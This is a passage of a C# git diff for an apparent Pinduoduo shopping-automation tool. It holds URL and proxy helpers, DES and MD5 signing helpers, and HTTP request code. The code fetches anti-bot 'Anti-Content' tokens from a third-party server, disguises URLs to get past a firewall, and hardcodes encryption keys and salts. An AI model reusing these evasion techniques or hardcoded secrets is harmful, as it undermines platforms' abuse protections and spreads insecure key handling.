解析域名ip + /// + /// + /// + public static string GetIp(string domain) + { + try + { + for (int i = 0; i < 2; i++) + { + IPAddress[] aryIP = Dns.GetHostEntry(domain).AddressList; + if (aryIP.Length > 0) + return aryIP[0].ToString(); + Thread.Sleep(1000); //重试,防止DNS缓存 + } + return null; + } + catch + { + //SocketServer.ViewCode += "域名:" + domain + "无法解析\r\n"; + return null; + } + } + /// + /// 是否是域名 + /// + /// + /// + public static bool IsDomain(string domain) + { + string temp = BaseRegex.GetMatchRegexString(domain, @"([a-z0-9-\.]+\.[a-z]{2,8})"); + if (!string.IsNullOrEmpty(temp) && temp.Length > 1 && (temp.Substring(0, 1) == "." || temp.Substring(0, 1) == "-")) + return false; + if (temp == domain) + return true; + return false; + } + + /// + /// 获取顶级域名 + /// + /// + /// + public static string GetMainDomain(string domain) + { + if (string.IsNullOrEmpty(domain)) + return ""; + domain = domain.ToLower(); + if (!domain.Contains(".") || domain.Length < 4) + return ""; + string[] d = domain.Split('.'); + string main = d[d.Length - 2] + "." + d[d.Length - 1]; //原始域名 + if (d.Length > 2 && + (d[d.Length - 2] == "com" || d[d.Length - 2] == "net" || d[d.Length - 2] == "org" || + d[d.Length - 2] == "gov" || d[d.Length - 2] == "edu" || d[d.Length - 2] == "co")) + main = d[d.Length - 3] + "." + main; + return main; + } + /// + /// 解密Jsion + /// + /// + /// + public static string Decode(string s) + { + s = WebUtility.HtmlDecode(s); + + Regex reUnicode = new Regex(@"\\u([0-9a-fA-F]{4})", RegexOptions.Compiled); + return reUnicode.Replace(s, m => + { + short c; + if (short.TryParse(m.Groups[1].Value, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out c)) + { + return "" + (char)c; + } + return m.Value; + }); + } + + + #region 解码 + /// + /// 解码 + /// + /// + /// + public static string DecodeString(string code) + { + try + { + string code1 = + code.Trim().Replace("_1/", "c") + .Replace("_2/", "Y") + .Replace("_3/", "A") + .Replace("_4/", "Z") + .Replace("_5/", "h") + .Replace("_6/", "n") + .Replace("_7/", "I") + .Replace("_8/", "l") + .Replace("_9/", "t") + .Replace("_10/", "e") + .Replace("_11/", "K") + .Replace("_12/", "r") + .Replace("_13/", "o") + .Replace("_14/", "q") + .Replace("_15/", "W") + .Replace("_16/", "+") + .Replace("_17/", "H") + .Replace("_18/", "m") + .Replace("_19/", "F") + .Replace("_20/", "x") + .Replace("_21/", "v") + .Replace("_22/", "B") + .Replace("_23/", "=") + .Replace("\0_0/", "_"); + byte[] inArray = Convert.FromBase64String(code1); + string html = Encoding.UTF8.GetString(inArray); + //html = + // html.Replace("_1_", "=") + // .Replace("_2_", "?") + // .Replace("_3_", "/") + // .Replace("_4_", ".") + // .Replace("_5_", "&") + // .Replace("_6_", "<") + // .Replace("_7_", ">") + // .Replace("_8_", "'") + // .Replace("_9_", "\"") + // .Replace("0_0", "_"); + //html = html.Replace("_9=4_00", "\"1.00").Replace("_9?4_00", "\"1.00").Replace("_9/4_00", "\"1.00"); + return html; + } + catch (Exception e) + { + //LogSave.Add("解码数据错误:" + code); + return "解码数据错误:" + e.Message; + } + } + #endregion + + /// + /// 获取国内IP + /// + /// + public static string ProxyIpIn() + { + if (BaseClass.ProxyIn.Count == 0) + return ""; + Random ra = new Random(Guid.NewGuid().GetHashCode()); + return BaseClass.ProxyIn[ra.Next(BaseClass.ProxyIn.Count)]; + } + /// + /// 获取美国IP + /// + /// + public static string ProxyIpOut() + { + if (BaseClass.ProxyOut.Count == 0) + return ""; + Random ra = new Random(Guid.NewGuid().GetHashCode()); + return BaseClass.ProxyOut[ra.Next(BaseClass.ProxyOut.Count)]; + } + /// + /// 获取国内IP代理URL地址 + /// + /// + public static string ProxyIpInUrl(string url) + { + if (BaseClass.ProxyIn.Count == 0) + return url; + Random ra = new Random(Guid.NewGuid().GetHashCode()); + string ip = BaseClass.ProxyIn[ra.Next(BaseClass.ProxyIn.Count)]; + return "http://" + ip + ":6000/url=" + ReplaceUrl(url); + } + /// + /// 获取美国IP代理URL地址 + /// + /// + public static string ProxyIpOutUrl(string url) + { + if (BaseClass.ProxyOut.Count == 0) + return url; + Random ra = new Random(Guid.NewGuid().GetHashCode()); + string ip = BaseClass.ProxyOut[ra.Next(BaseClass.ProxyOut.Count)]; + return "http://" + ip + ":6000/url=" + ReplaceUrl(url); + } + /// + /// 替换链接,防止防火墙 + /// + /// + /// + public static string ReplaceUrl(string url) + { + if (string.IsNullOrEmpty(url)) + return ""; + string newurl = ""; + string[] l = url.Split('.'); + for (int i = 0; i < l.Length; i++) + { + if (l[i].Length > 2) + newurl += l[i].Substring(0, l[i].Length - 2) + "***ooo***" + l[i].Substring(l[i].Length - 2, 2); + else + newurl += l[i]; + if (i < l.Length - 1) + newurl += "."; + } + return newurl.Replace(".google.", ".goo00gle.").Replace("?", "%3f").Replace("=", "%3d").Replace("&", "%26"); + } + /// + /// 还原链接 + /// + /// + /// + public static string ReplaceUrlBak(string url) + { + if (string.IsNullOrEmpty(url)) + return ""; + string newurl = url.Replace("***ooo***", ""); + if (string.IsNullOrEmpty(newurl)) + return ""; + return newurl.Replace(".goo00gle.", ".google.").Replace("%3f", "?").Replace("%3d", "=").Replace("%26", "&"); + } + /// + /// 生成URL绝对地址 + /// + /// 新URL + /// 源地址 + /// + public static string BuildUrl(string url, string oldurl) + { + if (string.IsNullOrEmpty(url)) + return oldurl; + if (url.Contains("tencent:/")) + return url; + if (url.Length > 8 && url.Substring(0, 8).Contains("://")) + { + if (url.Length - url.Replace("/", "").Length == 2) + url += "/"; + return url; + } + + string homeurl = BaseRegex.GetMatchRegexString(oldurl.ToLower(), "(http://[^/]*?)/"); + if (string.IsNullOrEmpty(homeurl)) + { + homeurl = BaseRegex.GetMatchRegexString(oldurl.ToLower(), "(http://[^/]+)") + "/"; + if (string.IsNullOrEmpty(homeurl)) + { + //BaseClass.ViewCode += "网址:" + oldurl + "识别失败\r\n"; + return url; + } + } + if (url.Substring(0, 1) == "/") + { + string newurlx = homeurl + url; + newurlx = newurlx.Replace("//", "/").Replace("http:/", "http://"); + return newurlx; + } + string[] l = oldurl.Split('/'); + int cute = l.Length; + if (l.Length > 3) + cute--; + while (url.Contains("../")) + { + int s = url.IndexOf("../"); + if (s == 0) + url = url.Substring(3); + else + url = url.Substring(0, s) + url.Substring(s + 3); + cute--; + if (cute < 3) + cute = 3; + } + string newurl = ""; + for (int i = 0; i < cute; i++) + newurl += l[i] + "/"; + newurl = newurl + url; + return newurl.Replace("//", "/").Replace("http:/", "http://").Replace("/./", "/"); + } + /// + /// 获取代理地址 + /// + /// + /// + public static string GetProxyUrl(string url) + { + if (string.IsNullOrEmpty(url)) + return null; + if (BaseClass.Proxy.Count == 0) + { + BaseClass.ViewCode += "代理异常"; + return url; + } + Random ra = new Random(); + string p = BaseClass.Proxy[ra.Next(BaseClass.Proxy.Count)]; + return "http://" + p + "/url=" + url.Replace(".google.", ".goo00gle.") + .Replace("?", "%3f").Replace("=", "%3d").Replace("&", "%26"); + } + + public static string GetUrlCodex(string url) + { + WebClientx webClient = new WebClientx(); + try + { + webClient.Timeout = 30; + webClient.Headers.Add("Accept-Encoding", "gzip,deflate"); + webClient.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)"); + webClient.Proxy = null; + byte[] b = webClient.DownloadData(url); + b = ZipHelper.Decompress(b); + string contentType = webClient.ResponseHeaders["Content-Type"]; + //webClient.Dispose(); + //webClient = null; + string html = ""; + if (!String.IsNullOrEmpty(contentType)) + { + string c = BaseRegex.GetMatchRegexString(contentType, "charset\\s*=\\s*(\\S+)"); + if (!String.IsNullOrEmpty(c)) + { + c = c.Trim(); + html = Encoding.GetEncoding(c).GetString(b); + } + } + if (String.IsNullOrEmpty(html)) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + //string r = @"<\s*meta.+charset\s*=\s*[""']*(\S+)[""'\s>]*"; + //string c = BaseRegex.GetMatchRegexString(html.ToLower(), r).Trim(); + //if (c.IndexOf("'") > -1) + // c = c.Substring(0, c.IndexOf("'")); + //if (c.IndexOf("\"") > -1) + // c = c.Substring(0, c.IndexOf("\"")); + //if (c.IndexOf(" ") > -1) + // c = c.Substring(0, c.IndexOf(" ")); + //if (c.IndexOf(">") > -1) + // c = c.Substring(0, c.IndexOf(">")); + //if (!String.IsNullOrEmpty(c) && c.ToLower() != "utf-8") + // html = Encoding.GetEncoding(c).GetString(b); + } + return html; + } + catch (Exception e) + { + LogSave.AddView(url + " 错误:" + e.Message.Replace("\r\n", " ")); + return null; + } + finally + { + try + { + webClient.Dispose(); + webClient = null; + } + catch + { + } + } + } + + + #region DES加密 | 解密 + //加解密密钥 + private static string skey = "AFZ94w3a"; + + #region DESEnCode DES加密 + public static string DESEnCode(string pToEncrypt) + { + try + { + + //pToEncrypt = HttpContext.Current.Server.UrlEncode(pToEncrypt); + DESCryptoServiceProvider des = new DESCryptoServiceProvider(); + byte[] inputByteArray = Encoding.GetEncoding("UTF-8").GetBytes(pToEncrypt); + + des.Key = ASCIIEncoding.ASCII.GetBytes(skey); + des.IV = ASCIIEncoding.ASCII.GetBytes(skey); + MemoryStream ms = new MemoryStream(); + CryptoStream cs = new CryptoStream(ms, des.CreateEncryptor(), CryptoStreamMode.Write); + + cs.Write(inputByteArray, 0, inputByteArray.Length); + cs.FlushFinalBlock(); + + StringBuilder ret = new StringBuilder(); + foreach (byte b in ms.ToArray()) + { + ret.AppendFormat("{0:X2}", b); + } + ret.ToString(); + return ret.ToString(); + + } + catch (Exception e) + { + + //throw; + } + return ""; + } + #endregion + + + #region DESDeCode DES解密 + public static string DESDeCode(string pToDecrypt) + { + try + { + DESCryptoServiceProvider des = new DESCryptoServiceProvider(); + byte[] inputByteArray = new byte[pToDecrypt.Length / 2]; + for (int x = 0; x < pToDecrypt.Length / 2; x++) + { + int i = (Convert.ToInt32(pToDecrypt.Substring(x * 2, 2), 16)); + inputByteArray[x] = (byte)i; + } + + des.Key = ASCIIEncoding.ASCII.GetBytes(skey); + des.IV = ASCIIEncoding.ASCII.GetBytes(skey); + MemoryStream ms = new MemoryStream(); + CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write); + cs.Write(inputByteArray, 0, inputByteArray.Length); + cs.FlushFinalBlock(); + + StringBuilder ret = new StringBuilder(); + + return System.Text.Encoding.Default.GetString(ms.ToArray()); + } + catch (Exception e) + { + + //throw; + } + return ""; + } + #endregion + + #endregion + + + + } +} diff --git a/AllBase/Helper/GlobalConfig.cs b/AllBase/Helper/GlobalConfig.cs new file mode 100644 index 0000000..f95d404 --- /dev/null +++ b/AllBase/Helper/GlobalConfig.cs @@ -0,0 +1,26 @@ +using AllBase.DouYinModel.Param.ConfigManage; +using AllBase.Model; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Helper +{ + public class GlobalConfig + { + public static SystemSettings SystemSettings { get; set; } + + public static System.Dynamic.ExpandoObject dicLocalStorage { get; set; } + + public static Dictionary> dicDgvHeadersSetting { get; set; } + + public static List LstPddPifaShop { get; set; } + + /// + /// 拼多多 多买手拍单 账户列表 + /// + public static List LstMultiBuyer = new List(); + } +} diff --git a/AllBase/Helper/HttpHelper.cs b/AllBase/Helper/HttpHelper.cs new file mode 100644 index 0000000..2688aa8 --- /dev/null +++ b/AllBase/Helper/HttpHelper.cs @@ -0,0 +1,341 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Helper +{ + public class HttpHelper + { + + public static string Request_mobile_yangkeduo_com(string url, string referer, string data, bool isUtf8, string cookie) + { + string responseText = ""; + HttpWebResponse response = null; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + request.KeepAlive = true; + request.Headers.Add("sec-ch-ua", @"""Chromium"";v=""104"", "" Not A;Brand"";v=""99"", ""Google Chrome"";v=""104"""); + request.Headers.Add("AccessToken", BaseRegex.GetMatchRegexString(ref cookie, "PDDAccessToken=([^:]+?);")); + request.Headers.Add("sec-ch-ua-mobile", @"?0"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"; + request.ContentType = "application/json;charset=UTF-8"; + request.Accept = "application/json, text/plain, */*"; + request.Headers.Add("sec-ch-ua-platform", @"""Windows"""); + request.Headers.Add("Origin", @"https://mobile.yangkeduo.com"); + request.Headers.Add("Sec-Fetch-Site", @"same-origin"); + request.Headers.Add("Sec-Fetch-Mode", @"cors"); + request.Headers.Add("Sec-Fetch-Dest", @"empty"); + request.Referer = referer; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, cookie); + + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + + if (data.Contains("0aoanti_content")) + { + string token = HttpHelper.GetAntiContent0ap(cookie, request.UserAgent, referer); + data = data.Replace("0aoanti_content", token); + } + string body = data; + byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body); + request.ContentLength = postBytes.Length; + Stream stream = request.GetRequestStream(); + stream.Write(postBytes, 0, postBytes.Length); + stream.Close(); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else responseText = "error," + e.Message; + } + catch (Exception ex) + { + responseText = "error," + ex.Message; + } + if (response != null) + { + if (string.IsNullOrEmpty(responseText)) + responseText = ReadResponse(response); + response.Close(); + } + return responseText; + } + + private static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new System.IO.Compression.GZipStream(streamToRead, System.IO.Compression.CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new System.IO.Compression.DeflateStream(streamToRead, System.IO.Compression.CompressionMode.Decompress); + } + + if (response.CharacterSet.ToLower() == "gbk") + { + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.GetEncoding("gbk"))) + { + return streamReader.ReadToEnd(); + } + } + else + { + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + } + + public static string Request_pifa_pinduoduo_com(string url, string referer, string datas, string cookies) + { + try + { + HttpWebResponse response = null; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.KeepAlive = true; + request.Headers.Set(HttpRequestHeader.CacheControl, "max-age=0"); + request.Headers.Add("sec-ch-ua", @"""Chromium"";v=""104"", "" Not A;Brand"";v=""99"", ""Google Chrome"";v=""104"""); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"; + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken")) + { + request.Headers.Add("AccessToken", BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^:]+?);")); + } + else + { + string token = HttpHelper.GetAntiContent0ap(cookies, request.UserAgent, referer); + request.Headers.Add("Anti-Content", token); + } + + request.ContentType = "application/json"; + request.Headers.Add("sec-ch-ua-mobile", @"?0"); + request.Headers.Add("sec-ch-ua-platform", @"""Windows"""); + request.Accept = "*/*"; + request.Headers.Add("Origin", referer); + request.Headers.Add("Sec-Fetch-Site", @"same-origin"); + request.Headers.Add("Sec-Fetch-Mode", @"cors"); + request.Headers.Add("Sec-Fetch-Dest", @"empty"); + request.Referer = referer; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, cookies); + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + + string body = datas; + byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body); + request.ContentLength = postBytes.Length; + + using (Stream requestStream = request.GetRequestStream()) + { + requestStream.Write(postBytes, 0, postBytes.Length); + } + response = (HttpWebResponse)request.GetResponse(); + Stream receiveStream = response.GetResponseStream(); + StreamReader readStream = new StreamReader(receiveStream, Encoding.GetEncoding("UTF-8")); + string retdata = readStream.ReadToEnd().Trim(); + return retdata; + } + catch (WebException e) + { + + } + catch (Exception) + { + + } + return ""; + } + + public static string GetUrlCodex(string url) + { + WebClientx webClient = new WebClientx(); + try + { + webClient.Timeout = 8; + webClient.Headers.Add("Accept-Encoding", "gzip,deflate"); + webClient.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + webClient.Headers.Add("User-Agent", BaseClass.PddShopChromeUserAgent); + webClient.Proxy = null; + byte[] b = webClient.DownloadData(url); + b = Decompress(b); + string contentType = webClient.ResponseHeaders["Content-Type"]; + //webClient.Dispose(); + //webClient = null; + string html = ""; + if (!String.IsNullOrEmpty(contentType)) + { + string c = BaseRegex.GetMatchRegexString(contentType, "charset\\s*=\\s*(\\S+)"); + if (!String.IsNullOrEmpty(c)) + { + c = c.Trim(); + html = Encoding.GetEncoding(c).GetString(b); + } + } + if (String.IsNullOrEmpty(html)) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + } + return html; + } + catch (Exception ex) + { + return null; + } + finally + { + try + { + webClient.Dispose(); + webClient = null; + } + catch + { + } + } + } + public static List url0aplist = new List(); + public static string GetAntiContent0ap(string cookie, string userAgent, string referer) + { + if (url0aplist.Count == 0) + { + string get0oaurl = "http://order.qixiaoke.com/?obj=" + BaseClass.routeInUse + "/config&act=anti_content_0ap"; + string htmlsss = GetHtml.PostUtf8(get0oaurl, GetSignaturex("", "")); + Newtonsoft.Json.Linq.JArray jarr = Newtonsoft.Json.Linq.JArray.Parse(htmlsss); + foreach (var jobj in jarr) + { + url0aplist.Add(jobj["url"].ToString()); + } + } + + string url = url0aplist[new Random().Next(0, url0aplist.Count() - 1)] + "/getAntiContent?ua=" + userAgent + "&href=" + GetHtml.UrlEncodeUtf8(referer) + "&api_uid=&_nano_fp="; + int time = BaseClass.ConvertDateTimeInt(BaseClass.GetServerTimeString()); + string time1 = BaseClass.GetMd5(time + "W*%IvTrqSVRaEOyN17@J"); + string data = "&time=" + time + "&code=" + time1; + string html = GetUrlCodex(url + data); + if (string.IsNullOrEmpty(html)) + { + url = url0aplist[new Random().Next(0, url0aplist.Count() - 1)] + "/getAntiContent?ua=" + userAgent + "&href=" + GetHtml.UrlEncodeUtf8(referer) + "&api_uid=&_nano_fp="; + html = GetUrlCodex(url + data); + } + return html; + } + + /// + /// ZIP解压 + /// + /// + /// + public static byte[] Decompress(byte[] zippedData) + { + if (zippedData == null || zippedData.Length == 0) + return null; + if (zippedData.Length < 100) + return zippedData; + if (zippedData[2] != 0x8 || zippedData[3] != 0x0 || zippedData[4] != 0x0 + || zippedData[5] != 0x0 || zippedData[6] != 0x0 || zippedData[7] != 0x0 + || zippedData[0] != 31 || zippedData[1] != 139)//软加速判断头尾是否正确 + return zippedData; + try + { + MemoryStream ms = new MemoryStream(zippedData); + GZipStream compressedzipStream = new GZipStream(ms, CompressionMode.Decompress); + MemoryStream outBuffer = new MemoryStream(); + byte[] block = new byte[1024]; + while (true) + { + int bytesRead = compressedzipStream.Read(block, 0, block.Length); + if (bytesRead < 1) + break; + outBuffer.Write(block, 0, bytesRead); + } + compressedzipStream.Close(); + return outBuffer.ToArray(); + } + catch + { + } + return zippedData; + } + + + /// + /// 获取签名字符串 + /// + /// + public static string GetSignature(bool isPhoneOrder = false) + { + int time = BaseClass.DateTimeToTimestampSeconds(DateTime.Now) + BaseClass.TimeDifferent; + string code = Encryption(time); + if (isPhoneOrder) + { + code = BaseClass.GetMd5(time.ToString() + "8eLg*MDD46YjA_e*onDgnvkdIaGhi=7B").ToUpper(); + } + return "time=" + time + "&code=" + code + "&NbCodeVersion=1"; + } + /// + /// 获取签名字符串,新版 + /// + /// + public static string GetSignaturex(bool isPhoneOrder = false, int posttype = 0) + { + return GetSignaturex(BaseClass.ShopId, BaseClass.ShopName, isPhoneOrder, posttype); + } + + public static string GetSignaturex(string shopId, string shopName, bool isPhoneOrder = false, int posttype = 0) + { + if (string.IsNullOrEmpty(shopId)) + shopId = BaseClass.ShopId; + if (string.IsNullOrEmpty(shopName)) + shopName = BaseClass.ShopName; + int time = BaseClass.ConvertDateTimeInt(DateTime.Now) + BaseClass.TimeDifferent; + string time1 = Encryption(time); + if (posttype == 1) + { + return time1; + } + return GetSignature() + "&version=" + BaseClass.VersionCount + "&uid=" + BaseClass.UserId + "&key=" + BaseClass.UserKey + + "&cid=" + BaseClass.CompanyId + "&company=" + GetHtml.UrlEncodeUtf8(BaseClass.CompanyName) + + "&sid=" + shopId + "&shop=" + GetHtml.UrlEncodeUtf8(shopName); + } + + /// + /// 签名算法 + /// + /// 随机数 + /// 加密签名结果 + public static string Encryption(int s) + { + return GetMd5(s + "sdhewu*/fhAAue48485ew5+5%@3485esGFFHFD"); + } + /// + /// MD5加密 + /// + /// + /// + public static string GetMd5(string instring) + { + byte[] result = Encoding.Default.GetBytes(instring.Trim()); + MD5 md5 = new MD5CryptoServiceProvider(); + byte[] output = md5.ComputeHash(result); + return BitConverter.ToString(output).Replace("-", ""); + } + } +} diff --git a/AllBase/HttpUtility.cs b/AllBase/HttpUtility.cs new file mode 100644 index 0000000..84c1a90 --- /dev/null +++ b/AllBase/HttpUtility.cs @@ -0,0 +1,508 @@ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using System.Text; + +namespace AllBase +{ + public class HttpUtility + { + // Fields + private static char[] _htmlEntityEndingChars = new char[] { ';', '&' }; + + //Methods + public static string UrlEncode(string str, Encoding e) + { + if (str == null) + { + return null; + } + + return Encoding.ASCII.GetString(UrlEncodeToBytes(str, e)); + } + + public static byte[] UrlEncodeToBytes(string str, Encoding e) + { + if (str == null) + { + return null; + } + byte[] bytes = e.GetBytes(str); + return UrlEncode(bytes, 0, bytes.Length); + } + + static byte[] UrlEncode(byte[] bytes, int offset, int count) + { + int num = 0; + int num2 = 0; + for (int i = 0; i < count; i++) + { + char ch = (char)bytes[offset + i]; + if (ch == ' ') + { + num++; + } + else if (!IsUrlSafeChar(ch)) + { + num2++; + } + } + if ((num == 0) && (num2 == 0)) + { + return bytes; + } + byte[] buffer = new byte[count + (num2 * 2)]; + int num4 = 0; + for (int j = 0; j < count; j++) + { + byte num6 = bytes[offset + j]; + char ch2 = (char)num6; + if (IsUrlSafeChar(ch2)) + { + buffer[num4++] = num6; + } + else if (ch2 == ' ') + { + buffer[num4++] = 0x2b; + } + else + { + buffer[num4++] = 0x25; + buffer[num4++] = (byte)IntToHex((num6 >> 4) & 15); + buffer[num4++] = (byte)IntToHex(num6 & 15); + } + } + return buffer; + } + + public static bool IsUrlSafeChar(char ch) + { + if ((((ch >= 'a') && (ch <= 'z')) || ((ch >= 'A') && (ch <= 'Z'))) || ((ch >= '0') && (ch <= '9'))) + { + return true; + } + switch (ch) + { + case '(': + case ')': + case '*': + case '-': + case '.': + case '_': + case '!': + return true; + } + return false; + } + public static char IntToHex(int n) + { + if (n <= 9) + { + return (char)(n + 0x30); + } + return (char)((n - 10) + 0x61); + } + static public string UrlDecode(string value) + { + if (value == null) + { + return null; + } + Encoding encoding = Encoding.UTF8;//你的编码 也可能是GBK + int length = value.Length; + UrlDecoder decoder = new UrlDecoder(length, encoding); + for (int i = 0; i < length; i++) + { + char ch = value[i]; + if (ch == '+') + { + ch = ' '; + } + else if ((ch == '%') && (i < (length - 2))) + { + if ((value[i + 1] == 'u') && (i < (length - 5))) + { + int num3 = HexToInt(value[i + 2]); + int num4 = HexToInt(value[i + 3]); + int num5 = HexToInt(value[i + 4]); + int num6 = HexToInt(value[i + 5]); + if (((num3 < 0) || (num4 < 0)) || ((num5 < 0) || (num6 < 0))) + { + goto Label_010B; + } + ch = (char)((((num3 << 12) | (num4 << 8)) | (num5 << 4)) | num6); + i += 5; + decoder.AddChar(ch); + continue; + } + int num7 = HexToInt(value[i + 1]); + int num8 = HexToInt(value[i + 2]); + if ((num7 >= 0) && (num8 >= 0)) + { + byte b = (byte)((num7 << 4) | num8); + i += 2; + decoder.AddByte(b); + continue; + } + } + Label_010B: + if ((ch & 0xff80) == 0) + { + decoder.AddByte((byte)ch); + } + else + { + decoder.AddChar(ch); + } + } + return decoder.GetString(); + } + + public static int HexToInt(char h) + { + if ((h >= '0') && (h <= '9')) + { + return (h - '0'); + } + if ((h >= 'a') && (h <= 'f')) + { + return ((h - 'a') + 10); + } + if ((h >= 'A') && (h <= 'F')) + { + return ((h - 'A') + 10); + } + return -1; + } + /////////////////////////// + public static string HtmlEncode(string value) + { + if (string.IsNullOrEmpty(value)) + { + return value; + } + + StringWriter output = new StringWriter(CultureInfo.InvariantCulture); + HtmlEncode(value, output); + return output.ToString(); + } + + public static unsafe void HtmlEncode(string value, TextWriter output) + { + if (value != null) + { + if (output == null) + { + throw new ArgumentNullException("output"); + } + int num = IndexOfHtmlEncodingChars(value, 0); + if (num == -1) + { + output.Write(value); + } + else + { + int num2 = value.Length - num; + fixed (char* str = (value.ToCharArray())) + { + char* chPtr = str; + char* chPtr2 = chPtr; + while (num-- > 0) + { + chPtr2++; + output.Write(chPtr2[0]); + } + while (num2-- > 0) + { + chPtr2++; + char ch = chPtr2[0]; + if (ch <= '>') + { + switch (ch) + { + case '&': + { + output.Write("&"); + continue; + } + case '\'': + { + output.Write("'"); + continue; + } + case '"': + { + output.Write("""); + continue; + } + case '<': + { + output.Write("<"); + continue; + } + case '>': + { + output.Write(">"); + continue; + } + } + output.Write(ch); + continue; + } + if ((ch >= '\x00a0') && (ch < 'Ā')) + { + output.Write("&#"); + output.Write(ch.ToString(NumberFormatInfo.InvariantInfo)); + output.Write(';'); + } + else + { + output.Write(ch); + } + } + } + } + } + } + public static string HtmlDecode(string value) + { + if (string.IsNullOrEmpty(value)) + { + return value; + } + + StringWriter output = new StringWriter(CultureInfo.InvariantCulture); + HtmlDecode(value, output); + return output.ToString(); + } + + public static void HtmlDecode(string value, TextWriter output) + { + if (value != null) + { + if (output == null) + { + throw new ArgumentNullException("output"); + } + if (value.IndexOf('&') < 0) + { + output.Write(value); + } + else + { + int length = value.Length; + for (int i = 0; i < length; i++) + { + char ch = value[i]; + if (ch == '&') + { + int num3 = value.IndexOfAny(_htmlEntityEndingChars, i + 1); + if ((num3 > 0) && (value[num3] == ';')) + { + string entity = value.Substring(i + 1, (num3 - i) - 1); + if ((entity.Length > 1) && (entity[0] == '#')) + { + ushort num4; + if ((entity[1] == 'x') || (entity[1] == 'X')) + { + ushort.TryParse(entity.Substring(2), NumberStyles.AllowHexSpecifier, (IFormatProvider)NumberFormatInfo.InvariantInfo, out num4); + } + else + { + ushort.TryParse(entity.Substring(1), NumberStyles.Integer, (IFormatProvider)NumberFormatInfo.InvariantInfo, out num4); + } + if (num4 != 0) + { + ch = (char)num4; + i = num3; + } + } + else + { + i = num3; + char ch2 = HtmlEntities.Lookup(entity); + if (ch2 != '\0') + { + ch = ch2; + } + else + { + output.Write('&'); + output.Write(entity); + output.Write(';'); + goto Label_0117; + } + } + } + } + output.Write(ch); + Label_0117: ; + } + } + } + } + + private static unsafe int IndexOfHtmlEncodingChars(string s, int startPos) + { + int num = s.Length - startPos; + fixed (char* str = (s.ToCharArray())) + { + char* chPtr = str; + char* chPtr2 = chPtr + startPos; + while (num > 0) + { + char ch = chPtr2[0]; + if (ch <= '>') + { + switch (ch) + { + case '&': + case '\'': + case '"': + case '<': + case '>': + return (s.Length - num); + + case '=': + goto Label_0086; + } + } + else if ((ch >= '\x00a0') && (ch < 'Ā')) + { + return (s.Length - num); + } + Label_0086: + chPtr2++; + num--; + } + } + return -1; + } + + /// + /// 获取url字符串参数,返回参数值字符串 + /// + /// 参数名称 + /// url字符串 + /// + public static string GetQueryString(string name, string url) + { + System.Text.RegularExpressions.Regex re = new System.Text.RegularExpressions.Regex(@"(^|&)?(\w+)=([^&]+)(&|$)?", System.Text.RegularExpressions.RegexOptions.Compiled); + System.Text.RegularExpressions.MatchCollection mc = re.Matches(url); + foreach (System.Text.RegularExpressions.Match m in mc) + { + if (m.Result("$2").Equals(name)) + { + return m.Result("$3"); + } + } + return ""; + } + } + /// + /// class UrlDecoder + /// + class UrlDecoder + { + // Fields + private int _bufferSize; + private byte[] _byteBuffer; + private char[] _charBuffer; + private Encoding _encoding; + private int _numBytes; + private int _numChars; + + // Methods + internal UrlDecoder(int bufferSize, Encoding encoding) + { + this._bufferSize = bufferSize; + this._encoding = encoding; + this._charBuffer = new char[bufferSize]; + } + + internal void AddByte(byte b) + { + if (this._byteBuffer == null) + { + this._byteBuffer = new byte[this._bufferSize]; + } + this._byteBuffer[this._numBytes++] = b; + } + + internal void AddChar(char ch) + { + if (this._numBytes > 0) + { + this.FlushBytes(); + } + this._charBuffer[this._numChars++] = ch; + } + + private void FlushBytes() + { + if (this._numBytes > 0) + { + this._numChars += this._encoding.GetChars(this._byteBuffer, 0, this._numBytes, this._charBuffer, this._numChars); + this._numBytes = 0; + } + } + + internal string GetString() + { + if (this._numBytes > 0) + { + this.FlushBytes(); + } + if (this._numChars > 0) + { + return new string(this._charBuffer, 0, this._numChars); + } + return string.Empty; + } + } + /// + /// class HtmlEntities + /// + static class 